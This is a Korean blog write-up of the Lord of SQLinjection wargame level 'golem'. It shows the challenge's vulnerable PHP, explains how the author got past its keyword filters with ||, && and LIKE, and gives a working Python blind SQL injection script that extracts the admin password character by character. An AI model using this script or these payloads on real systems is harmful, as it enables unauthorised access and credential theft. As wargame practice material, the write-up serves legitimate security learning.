Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 스프링 종류
- APM
- sqlinjection
- 자바 has-a
- 스프링구조
- 스프링
- 세션쿠키
- XSS
- 해킹
- 웹 개발
- 세션
- 마이크로서비스 아키택트
- 클라이언트
- 자바 Array list
- 자바 is-a
- lord of sqlinjectin
- 보안
- 쿠키
- injection
- lord of sqlinjection`
- 자바 문법
- 서버
- 스프링 특징
- Los
- 자바
- sql
- php
- 소켓
- Lord of sqlinjection
- 웹
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 11번 ) golem 본문
11번 문제 golem 이다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
코드 분석을 해보면
첫 쿼리의 pw 파라미터의 값에
preg_match 함수로 $_GET['pw']에 특정 문자열이 포함되어 있는지 검사한다.
- 첫 번째 조건에서는 prob, _, ., () 문자열을 검사하고 이러한 문자열이 있으면 "No Hack
_" 메시지를 출력한다. - 두 번째 조건에서는 or, and, substr(, = 문자열을 검사하고 이러한 문자열이 있으면 "HeHe" 메시지를 출력한다.
- guest 사용자에 대해 비밀번호를 확인하는 쿼리를 생성한다.
- 생성된 쿼리를 출력한다.
- 쿼리를 실행하고 결과를 배열로 가져온다.
- guest 사용자의 ID가 존재하면 인사 메시지를 출력한다
- addslashes 함수로 $_GET['pw']의 문자열에 슬래시를 추가하여 SQL 인젝션을 방지하려 한다.
- admin 사용자에 대해 비밀번호를 확인하는 쿼리를 생성한다.
- 쿼리를 실행하고 결과를 배열로 가져온다.
- 결과의 비밀번호가 존재하고, 입력한 비밀번호와 동일하면 solve("golem") 함수를 호출한다.
- 마지막으로 현재 파일의 소스 코드를 하이라이트하여 출력한다.
나는 첫번째 쿼리를 이용해 문제를 해결해 볼 것이다.
일단 첫 쿼리에서 or and 를 필터링하고 있기 때문에 || 와 %26%26(&&)을 이용한다.
그리고 substr( 과 = 을 필터링 하고 있기에 like문을 이용하여 쿼리를 구성한다.
admin의 패스워드의 길이는 8이다.
admin의 패스워드 첫글자는 7이다.
import requests
def check_length(url, cookie, param_name):
head = {"PHPSESSID":f"{cookie}"}
print("대상 문자열의 길이를 확인중입니다..")
for num in range(0,30):
param=f"?{param_name}=' || id like \"admin\" %26%26 length({param_name})>{num} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
return num
def blind_sqli(url, cookie, param_name, length):
head = {"PHPSESSID":f"{cookie}"}
pw=""
for len in range(1, length+1):
print(f"{len}번째 문자에 대해 검색중입니다..")
for ran in range(32,127):
param=f"?{param_name}=' || id like \"admin\" %26%26 ascii(substring({param_name},{len},1))>{ran} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
print(f"{len}번째 문자 → {chr(ran)}")
pw+=chr(ran)
break
return pw
if __name__ == "__main__":
print("💘 Blind 공격을 시작합니다")
url=input("URL을 입력하세요:")
cookie=input("cookie를 알려주세요:")
param_name=input("파라미터의 이름을 알려주세요:")
length=check_length(url, cookie, param_name)
print(f"👏 {param_name}의 길이는 {length}입니다.")
pw=blind_sqli(url, cookie, param_name, length)
print(f"👏 {param_name}의 정체는 {pw}입니다!")
exit
위의 코드에서는 substr 대신 substring을 사용
mysql에서는 substr 과 substring모두 사용하고 ( oracle은 substr사용 )
위 코드는 아래 블로그에서 구성이 좋아서 가져와서 사용했다.
비밀번호가 나왔다.
해결 완료-!
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 13번 ) bugbear (0) | 2024.06.08 |
---|---|
Lord of SQLinjection ( 12번 ) darkknight (1) | 2024.06.06 |
Lord of SQLinjection ( 9번 ) vampire (0) | 2024.05.23 |
Lord of SQLinjection ( 8번 ) troll (0) | 2024.05.23 |
XSS game level 6 (0) | 2024.05.20 |
Comments